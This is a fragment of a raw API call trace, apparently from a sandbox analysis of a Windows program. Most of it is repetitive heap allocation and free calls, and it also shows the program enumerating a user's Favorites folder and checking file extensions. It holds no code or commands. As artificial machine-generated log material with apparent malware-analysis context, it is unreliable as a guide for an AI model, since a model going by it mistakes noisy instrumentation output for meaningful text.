RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.236] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.236] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.236] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.236] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.236] PathFindFileNameW (pszPath="") returned="" [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.236] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.236] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.236] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x7a3f060 [0112.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.236] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0112.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.236] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0112.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.237] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.237] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.237] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ebfa0 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.237] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0112.237] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ebfa0 | out: hHeap=0x5010000) returned 1 [0112.237] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48498 [0112.237] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.237] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.237] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x310) returned 0x7b14c20 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48150 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ebfa0 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecce8 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48a38 [0112.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48240 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48420 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48678 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48600 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a486f0 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0de8 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48588 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0aa8 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecd70 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48510 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0b10 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0e50 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0eb8 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a488d0 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf08 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48858 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48330 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a483a8 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48948 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48498 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d550 | out: hHeap=0x5010000) returned 1 [0112.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48498 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.238] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.239] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0112.239] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.239] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d708 [0112.239] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.239] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.239] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.240] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.241] 